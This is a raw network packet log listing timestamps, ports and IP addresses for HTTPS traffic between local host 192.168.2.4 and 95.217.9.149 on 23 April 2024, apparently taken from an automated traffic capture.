Apr 23, 2024 22:17:15.541484118 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.541522980 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.547319889 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.547337055 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.547373056 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.547384977 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.547414064 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.547791958 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.552232027 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.552251101 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.552287102 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.552298069 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.552328110 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.552345991 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.557681084 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.557706118 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.557744026 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.557755947 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.557780981 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.557816982 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.563855886 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.563874006 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.563904047 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.563915014 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.563939095 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.563957930 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.568841934 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.568861961 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.568926096 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.568939924 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.568994045 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.573525906 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.573543072 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.573625088 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.573625088 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.573638916 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.573781967 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.578357935 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.578389883 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.578425884 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.578438044 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.578466892 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.578485966 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.583550930 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.583569050 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.583606958 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.583614111 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.583659887 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.583659887 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.587982893 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.588000059 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.588040113 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.588046074 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.588066101 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.588087082 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.593200922 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.593282938 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.593286037 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.593333960 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.593360901 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.593380928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.596999884 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.597043037 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.597073078 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.597078085 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.597121000 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.601967096 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.602010965 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.602037907 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.602042913 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.602068901 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.602080107 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.606232882 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.606276035 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.606293917 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.606309891 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.606344938 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.606374979 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.610833883 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.610876083 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.610912085 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.610927105 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.610949039 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.610968113 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.615262032 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.615304947 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.615323067 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.615339041 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.615360975 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.615377903 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.619263887 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.619306087 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.619357109 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.619368076 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.619393110 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.619493961 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.623792887 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.623833895 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.623867989 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.623878956 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.623908997 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.623927116 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.627578974 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.627636909 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.627669096 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.627680063 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.627701998 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.627727985 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.631422043 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.631463051 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.631505013 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.631516933 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.631546021 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.631565094 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.636790991 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.636835098 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.636872053 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.636883020 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.636909008 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.636924982 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.640124083 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.640187979 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.640193939 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.640213966 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.640244007 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.640259981 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.644737959 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.644779921 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.644813061 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.644824028 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.644850969 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.644870043 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.649317980 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.649362087 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.649390936 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.649403095 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.649427891 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.649446011 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.652837992 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.652880907 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.652913094 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.652930975 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.652956009 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.653100014 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.656349897 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.656390905 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.656446934 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.656457901 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.656485081 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.656730890 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.659781933 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.659822941 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.659859896 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.659871101 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.659898043 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.659934998 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.664021969 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.664074898 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.664144993 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.664158106 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.664621115 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.667392015 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.667411089 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.667484999 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.667496920 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.667613029 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.670753956 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.670773029 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.670835972 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.670847893 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.671143055 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.674901962 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.674928904 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.674963951 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.674977064 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.675004005 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.675019979 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.678119898 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.678138971 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.678190947 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.678203106 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.678227901 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.678524971 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.681356907 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.681377888 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.681442976 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.681454897 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.681832075 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.684529066 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.684556007 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.684602022 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.684608936 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.684632063 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.684650898 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.688436031 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.688457966 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.688529968 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.688534975 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.688570976 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.691648006 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.691668987 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.691728115 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.691732883 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.692074060 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.695005894 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.695024967 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.695079088 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.695084095 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.695338964 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.698451996 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.698472023 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.698512077 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.698515892 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.698538065 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.698559046 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.701494932 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.701514006 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.701569080 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.701575041 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.701822996 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.704426050 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.704444885 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.704495907 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.704500914 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.704746008 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.707926989 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.707968950 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.708005905 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.708018064 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.708045006 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.708060980 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.710922003 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.710962057 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.710998058 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.711009026 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.711054087 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.711107016 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.713748932 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.713788986 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.713826895 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.713839054 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.713862896 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.713926077 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.717077017 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.717118979 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.717158079 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.717170000 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.717192888 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.717211008 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.719824076 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.719862938 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.719892979 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.719904900 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.719963074 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.719963074 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.722824097 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.722863913 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.722898960 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.722910881 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.723068953 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.723068953 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.725449085 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.725529909 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.725529909 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.725558043 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.725584984 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.725603104 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.728869915 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.728912115 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.728949070 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.728960991 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.728986025 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.729074001 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.731513023 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.731564999 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.731604099 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.731615067 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.731642008 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.731661081 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.734369040 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.734410048 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.734445095 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.734457016 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.734481096 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.734497070 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.737704039 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.737745047 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.737782001 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.737792969 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.737819910 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.737835884 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.740175009 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.740215063 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.740251064 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.740262985 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.740287066 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.740542889 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.742671967 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.742692947 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.742732048 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.742743969 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.742803097 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.742866993 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.745305061 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.745323896 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.745382071 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.745393038 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.745419979 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.745434046 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.748605967 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.748624086 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.748666048 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.748678923 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.748707056 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.748723030 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.750952959 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.750971079 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.751009941 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.751022100 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.751044035 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.751066923 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.753489971 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.753508091 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.753546953 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.753557920 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.753585100 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.753603935 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.756690979 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.756719112 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.756769896 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.756788969 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.756812096 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.756827116 CEST	49744	443	192.168.2.4	95.217.9.149
